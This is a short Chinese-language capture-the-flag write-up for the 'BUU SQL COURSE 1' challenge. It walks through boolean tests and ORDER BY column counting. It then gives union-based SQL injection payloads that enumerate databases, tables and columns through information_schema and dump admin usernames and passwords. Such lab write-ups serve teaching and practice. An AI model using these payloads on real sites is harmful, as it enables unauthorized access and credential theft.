BUU SQL COURSE 1

0x01 题目分析

通过题目可以了解到这是一个SQL注入的题,但是打开网站后观察URL、对登录框抓包尝试后都无果。

 这时就很迷,最后只能用老办法看看源码啥的有没有提示

 经过观察发现了一个隐藏的URL(心理想:这题是真的鬼[○・`Д´・ ○])

0x02 开始测试

 利用and 1=1 和 and 1=2根据页面回显进行判断

 

利用order by 进行字段查看

 进行回显判断

 下面就可以进行暴库、暴表、暴字段的操作了

 1 暴库:(information_schema,ctftraining,mysql,performance_schema,test,news)
 2 ?id=-1 UNION SELECT 1,group_concat(schema_name) from information_schema.schemata
 3 
 4 暴表:(admin,contents)
 5 ?id=-1 UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema="news"
 6 
 7 暴字段:(id,username,password)
 8 ?id=-1 UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name="admin"
 9 
10密码:
11 ?id=-1 UNION SELECT 1,concat(username,0x3a,password) from admin

Mysql中concat和group_concat的用法:https://baijiahao.baidu.com/s?id=1595349117525189591&wfr=spider&for=pc

最后出来了账号密码:

 利用账号密码进行登录

原文地址:https://www.cnblogs.com/nmlwh/p/14724551.html